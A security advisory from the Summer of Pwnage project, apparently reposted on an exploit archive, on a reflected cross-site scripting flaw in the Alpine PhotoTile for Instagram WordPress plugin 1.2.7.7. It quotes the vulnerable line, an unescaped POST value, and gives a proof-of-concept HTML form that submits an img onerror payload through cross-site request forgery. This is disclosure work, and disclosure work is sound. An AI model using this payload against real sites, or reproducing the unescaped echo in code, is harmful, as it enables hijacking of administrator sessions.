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WordPress Alpine PhotoTile For Instagram 1.2.7.7 XSS

WordPress Alpine PhotoTile For Instagram 1.2.7.7 XSS
Posted Mar 3, 2017
Authored by Antonis Manaras

WordPress Alpine PhotoTile for Instagram plugin version 1.2.7.7 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | ba878728c230fc48ba9417d4f7598544

WordPress Alpine PhotoTile For Instagram 1.2.7.7 XSS

Change Mirror Download
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Cross-Site Scripting in Alpine PhotoTile for Instagram WordPress Plugin
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Antonis Manaras, July 2016

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Abstract
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A Cross-Site Scripting vulnerability was found in the Alpine PhotoTile
for Instagram WordPress Plugin. This issue allows an attacker to perform
a wide variety of actions, such as stealing Administrators' session
tokens, or performing arbitrary actions on their behalf. In order to
exploit this issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

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OVE ID
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OVE-20160725-0010

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Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Alpine PhotoTile for Instagram
WordPress Plugin version 1.2.7.7.

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Fix
------------------------------------------------------------------------
There is currently no fix available.

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Details
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https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_alpine_phototile_for_instagram_wordpress_plugin.html

A reflected Cross-Site Scripting vulnerability exists in the Alpine Photo Tile for Instagam WordPress plugin. This vulnerability allows an attacker to perform any action with the privileges of the admin user. The affected code is not protected with an anti-Cross-Site Request Forgery token. Consequently, it can be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).

The vulnerability exists in the alpine-photo-tile-for-instagram/gears/alpinebot-admin.php file on line 887:

+ '&client_id=<?php echo $_POST['client_id']; ?>'

The vulnerability can be exploited using specially crafted URL parameter. In order to exploit this issue the target user must click a specially crafted link or visit a malicious website (or advertisement).

Proof of concept

<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=alpine-photo-tile-for-instagram-settings&tab=add" method="POST">
<input type="hidden" name="hidden" value="Y" />
<input type="hidden" name="add-user" value="Y" />
<input type="hidden" name="client_id" value="</script><img src=x onerror=alert(1) />" />
<input type="hidden" name="client_secret" value="bar" />
<input type="hidden" name="alpine-photo-tile-for-instagram-settings_add[submit-add]" value="Add and Authorize New User" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

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